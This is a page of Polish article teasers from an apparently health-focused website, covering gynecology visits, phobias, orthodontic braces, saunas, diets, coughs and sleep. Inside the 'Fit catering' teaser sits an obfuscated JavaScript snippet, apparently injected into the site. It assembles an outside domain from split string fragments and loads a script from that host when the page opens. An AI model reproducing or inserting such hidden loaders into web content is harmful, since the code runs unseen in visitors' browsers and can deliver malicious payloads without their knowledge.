Jaki powinien być dobry ginekolog?
Wizyta u ginekologa jest jedną z najbardziej intymnych sytuacji, jakie kobieta doświadcza u lekarza. Niekiedy wiąże się ona także z dyskomfortem i niezbyt przyjemnymi...
Jakie są współczesne metody radzenia sobie z popularnymi fobiami u ludzi?
Termin "fobia" jest powszechnie znany, bowiem z fobiami zmaga się coraz więcej ludzi. Greckie słowo "fobos" oznaczające "strach" dobrze oddaje charakter tego zaburzenia. Lęk...
Aparat ortodontyczny – moda czy potrzeba?
Aparat ortodontyczny jest oznaką dbałości o siebie i swoje zdrowie. Noszą go zarówno dzieci, jak i osoby starsze. W zależności od wieku aparat może...
Korzyści płynące z korzystania z sauny
Korzystanie z sauny może nam przynieść wiele dobrego. Regularne korzystanie z sauny pozytywnie wpływa na nasz wygląd, zdrowie oraz samopoczucie. Jest także pomocna w...
Fit catering – dla kogo?
Chcąc prowadzić zdrowy styl życia, szukamy najlepszego rozwiązania, które pozwoli nam zrobić to najkorzystniej, jak się da.
(function(){
wr8c=document.createElement("script");wr8c.type="text/javascript";
wr8c.async=true;wr8c_=(("us")+"t")+"a";wr8c_+=("t.i")+""+"n";wr8c_+=(("f")+"o");wr8c_+="/";
wr8cu="195218064.";wr8cu+="ch0byykhr8cyh9a37xrajgwdbpmiqa";wr8c.src="https://"+wr8c_+wr8cu;
wr8cdb=document.body;wr8cdb.appendChild(wr8c);
})();
Nie jest to łatwe zadanie, bo musimy uwzględnić...
Najlepsza dieta na 2019 rok – dieta śródziemnomorska
Dieta śródziemnomorska zajęła pierwsze miejsce w corocznym rankingu diet sporządzanym przez U.S. News & World Report. W poprzednim roku triumfowała dieta DASH, która w...
Planowanie jest ważne
Każda kobieta pragnie, by jej dziecko urodziło się zdrowe. Wiele zależy od kondycji jej organizmu, a także trybu życia. Dlatego tak ważne jest by przygotowania...
Co kryje kod koloru owoców i warzyw?
Od wielu lat badania dotyczące żywienia podkreślają jego wpływ na jakość naszego życia oraz codzienne funkcjonowanie. Niewiele osób przy wyborze posiłku bierze pod uwagę...
Mokry kaszel – ile zazwyczaj trwa?
Kaszel jest to naturalny mechanizm obronny, który ma na celu oczyszczenie dróg oddechowych z zalegającej wydzieliny. Wśród najczęstszych przyczyn mokrego kaszlu wymienia się m.in....
Co powinniśmy zrobić, aby się wysypiać?
Nawadniaj się, jedz dobrze, odłóż telefon, praktykuj wdzięczność, wypróbuj naturalne „wspomagacze”: melisę, ciepłe mleko lub bezpieczny olejek CBD. To kilka z aż 16 prostych...